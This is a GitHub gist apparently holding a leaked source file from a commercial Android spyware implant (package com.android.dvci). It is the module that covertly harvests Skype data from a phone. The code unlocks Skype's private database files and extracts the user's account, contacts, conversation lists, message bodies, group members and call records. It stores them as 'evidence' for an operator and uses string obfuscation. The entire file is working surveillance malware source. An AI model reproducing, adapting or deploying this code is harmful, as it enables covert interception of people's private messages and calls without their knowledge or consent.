Skip to content

Instantly share code, notes, and snippets.

@peterclemenko
Created July 11, 2015 17:16
Show Gist options
  • Save peterclemenko/26c30ba7dbcb83e933df to your computer and use it in GitHub Desktop.
Save peterclemenko/26c30ba7dbcb83e933df to your computer and use it in GitHub Desktop.
package com.android.dvci.module.chat;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.concurrent.Semaphore;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import android.database.Cursor;
import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.manager.ManagerModule;
import com.android.dvci.module.ModuleAddressBook;
import com.android.dvci.module.call.CallInfo;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;
public class ChatSkype extends SubModuleChat {
private static final String TAG = "ChatSkype";
private static final int PROGRAM = 0x01;
String pObserving = M.e("com.skype");
private Date lastTimestamp;
Semaphore readChatSemaphore = new Semaphore(1, true);
ChatGroups groups = new ChatSkypeGroups();
public static String dbDir = M.e("/data/data/com.skype.raider/files");
@Override
public int getProgramId() {
return PROGRAM;
}
@Override
String getObservingProgram() {
return pObserving;
}
@Override
void notifyStopProgram(String processName) {
try {
readSkypeMessageHistory();
} catch (Exception e) {
if (Cfg.DEBUG_SPECIFIC) {
Check.log(TAG + " (notifyStopProgram) Error: " + e);
}
}
}
@Override
protected void start() {
try {
readSkypeMessageHistory();
} catch (Exception e) {
if (Cfg.DEBUG_SPECIFIC) {
Check.log(TAG + " (start) Error: " + e);
}
}
}
@Override
protected void stop() {
if (Cfg.DEBUG) {
Check.log(TAG + " (stop), ");
}
}
private void readSkypeMessageHistory() throws IOException {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages)");
}
if (!readChatSemaphore.tryAcquire()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readSkypeMessageHistory), semaphore red");
}
return;
}
try {
// k_0=/data/data/com.skype.raider/files
String account = readAccount();
if (account == null || account.length() == 0)
return;
if (Cfg.DEBUG) {
Check.log(TAG + " (readSkypeMessageHistory) account: " + account);
}
long lastSkype = markup.unserialize(new Long(0));
if (Cfg.DEBUG) {
Check.log(TAG + " (start), read lastSkype: " + lastSkype);
}
GenericSqliteHelper helper = openSkypeDBHelper(account);
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readSkypeMessageHistory) Error, file not readable: " + account);
}
return;
}
try{
ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.SKYPE, account);
if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) {
saveSkypeContacts(helper);
}
long maxLast = 0;
List<SkypeConversation> conversations = getSkypeConversations(helper, account);
for (SkypeConversation sc : conversations) {
String peer = sc.remote;
if (Cfg.DEBUG) {
Check.log(TAG + " (readSkypeMessageHistory) conversation: " + peer + " timestamp: "
+ new Date(sc.timestamp));
}
groups = new ChatSkypeGroups();
if (sc.timestamp > lastSkype) {
if (groups.isGroup(peer) && !groups.hasMemoizedGroup(peer)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readSkypeMessageHistory) fetch group: " + peer);
}
fetchGroup(helper, peer);
}
long lastTimestamp = fetchMessages(helper, sc, lastSkype);
maxLast = Math.max(lastTimestamp, maxLast);
}
}
if (maxLast > 0) {
markup.serialize(maxLast);
}
} finally {
helper.disposeDb();
}
} finally {
readChatSemaphore.release();
}
}
public static GenericSqliteHelper openSkypeDBHelper(String account) {
// k_1=/main.db
Path.unprotect(dbDir,true);
if(account.contains(":")){
String name = account.split(":")[1];
File fileBaseDir = new File(dbDir);
File[] files = fileBaseDir.listFiles();
for ( File f : files) {
if(f.getName().contains(name)){
account = f.getName();
break;
}
}
}
String dbFile = dbDir + "/" + account + M.e("/main.db");
Path.unprotect(dbDir + "/" + account, true);
Path.unprotect(dbFile, true);
Path.unprotect(dbFile + M.e("-journal"), true);
File file = new File(dbFile);
GenericSqliteHelper helper = null;
if (file.canRead()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readSkypeMessageHistory): can read DB");
}
helper = GenericSqliteHelper.openCopy(dbFile);
}
return helper;
}
private void saveSkypeContacts(GenericSqliteHelper helper) {
String[] projection = new String[] { M.e("id"), M.e("skypename"), M.e("fullname"), M.e("displayname"), M.e("pstnnumber") };
boolean tosave = false;
RecordVisitor visitor = new RecordVisitor(projection, M.e("is_permanent=1")) {
@Override
public long cursor(Cursor cursor) {
long id = cursor.getLong(0);
String skypename = cursor.getString(1);
String fullname = cursor.getString(2);
String displayname = cursor.getString(3);
String phone = cursor.getString(4);
Contact c = new Contact(Long.toString(id), phone, skypename, M.e("Display name: ") + displayname);
if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.SKYPE, c)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) need to serialize");
}
return 1;
}
return 0;
}
};
if (helper.traverseRecords("Contacts", visitor) == 1) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveSkypeContacts) serialize");
}
ModuleAddressBook.getInstance().serializeContacts();
}
}
private List<SkypeConversation> getSkypeConversations(GenericSqliteHelper helper, final String account) {
final List<SkypeConversation> conversations = new ArrayList<SkypeConversation>();
String[] projection = new String[] { M.e("id"), M.e("identity"), M.e("displayname"), M.e("given_displayname"), M.e("inbox_message_id"), M.e("inbox_timestamp") };
String selection = M.e("inbox_timestamp > 0 and is_permanent=1");
RecordVisitor visitor = new RecordVisitor(projection, selection) {
@Override
public long cursor(Cursor cursor) {
SkypeConversation c = new SkypeConversation();
c.account = account;
c.id = cursor.getInt(0);
c.remote = cursor.getString(1);
c.displayname = cursor.getString(2);
c.given = cursor.getString(3);
c.lastReadIndex = cursor.getInt(4);
c.timestamp = cursor.getLong(5);
conversations.add(c);
return c.id;
}
};
helper.traverseRecords("Conversations", visitor);
return conversations;
}
private long fetchMessages(GenericSqliteHelper helper, final SkypeConversation conversation, long lastTimestamp) {
// select author, body_xml from Messages where convo_id == 118 and id >=
// 101 and body_xml != ''
try {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String[] projection = new String[] { M.e("id"), M.e("author"), M.e("body_xml"), M.e("timestamp") };
String selection = M.e("type == 61 and convo_id = ") + conversation.id + M.e(" and body_xml != '' and timestamp > ")
+ lastTimestamp;
String order = M.e("timestamp");
RecordVisitor visitor = new RecordVisitor(projection, selection, order) {
@Override
public long cursor(Cursor cursor) {
// I read a line in a conversation.
int id = cursor.getInt(0);
String peer = cursor.getString(1);
String body = cursor.getString(2);
// localtime or gmt? should be converted to gmt
long timestamp = cursor.getLong(3);
Date date = new Date(timestamp * 1000L);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) sc.account: " + conversation.account + " conv.remote: "
+ conversation.remote + " peer: " + peer);
}
boolean incoming = !(peer.equals(conversation.account));
boolean isGroup = groups.isGroup(conversation.remote);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) incoming: " + incoming + " group: " + isGroup);
}
String from, to = null;
String fromDisplay, toDisplay = null;
from = incoming ? peer : conversation.account;
fromDisplay = incoming ? conversation.displayname : from;
if (isGroup) {
to = groups.getGroupToName(peer, conversation.remote);
toDisplay = to;
} else {
to = incoming ? conversation.account : conversation.remote;
toDisplay = incoming ? conversation.account : conversation.displayname;
}
if (!StringUtils.isEmpty(body)) {
MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay,
body, incoming);
messages.add(message);
}
return timestamp;
}
};
// f_a=messages
// M.d("messages")
long newTimeStamp = helper.traverseRecords(M.e("messages"), visitor);
if (messages != null && messages.size() > 0) {
saveEvidence(messages);
}
return newTimeStamp;
} catch (Exception e) {
if (Cfg.DEBUG) {
e.printStackTrace();
Check.log(TAG + " (fetchMessages) Error: " + e);
}
return -1;
}
}
private void fetchGroup(GenericSqliteHelper helper, final String conversation) {
String[] projection = new String[] { M.e("identity") };
String selection = M.e("chatname = '") + conversation + "'";
RecordVisitor visitor = new RecordVisitor(projection, selection) {
@Override
public long cursor(Cursor cursor) {
String remote = cursor.getString(0);
groups.addPeerToGroup(conversation, remote);
return 0;
}
};
helper.traverseRecords(M.e("ChatMembers"), visitor);
}
public static String readAccount() {
String confFile = dbDir + M.e("/shared.xml");
Path.unprotect(confFile, true);
DocumentBuilder builder;
String account = null;
try {
builder = DocumentBuilderFactory.newInstance().newDocumentBuilder();
Document doc = builder.parse(new File(confFile));
NodeList defaults = doc.getElementsByTagName(M.e("Default"));
for (int i = 0; i < defaults.getLength(); i++) {
Node d = defaults.item(i);
Node p = d.getParentNode();
if (M.e("Account").equals(p.getNodeName())) {
account = d.getFirstChild().getNodeValue();
break;
}
}
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readAccount) Error: " + e);
}
}
return account;
}
public void saveEvidence(ArrayList<MessageChat> messages) {
getModule().saveEvidence(messages);
}
public static boolean getCurrentCall(GenericSqliteHelper helper, final CallInfo callInfo) {
// select ca.id,identity,dispname,call_duration,cm.type,cm.start_timestamp,is_incoming from callmembers as cm join calls as ca on cm.call_db_id = ca.id order by ca.id desc limit 1
String sqlQuery= M.e("select ca.id,identity,dispname,call_duration,cm.type,cm.creation_timestamp,is_incoming,ca.begin_timestamp from callmembers as cm join calls as ca on cm.call_name = ca.name order by ca.begin_timestamp desc limit 1");
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
callInfo.id = cursor.getInt(0);
callInfo.peer = cursor.getString(1);
callInfo.displayName = cursor.getString(2);
int type = cursor.getInt(4);
callInfo.timestamp = new Date(cursor.getLong(5));
callInfo.incoming = cursor.getInt(6) == 1;
callInfo.valid = true;
if (Cfg.DEBUG) {
Check.log(TAG + " (getCurrentCall), timestamp: " + cursor.getLong(5) + " -> "+ callInfo.timestamp + "begin: " + cursor.getInt(7));
}
return callInfo.id;
}
};
helper.traverseRawQuery(sqlQuery, new String[]{}, visitor);
return callInfo.valid;
}
public class ChatSkypeGroups extends ChatGroups {
@Override
boolean isGroup(String peer) {
return peer.startsWith("#");
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment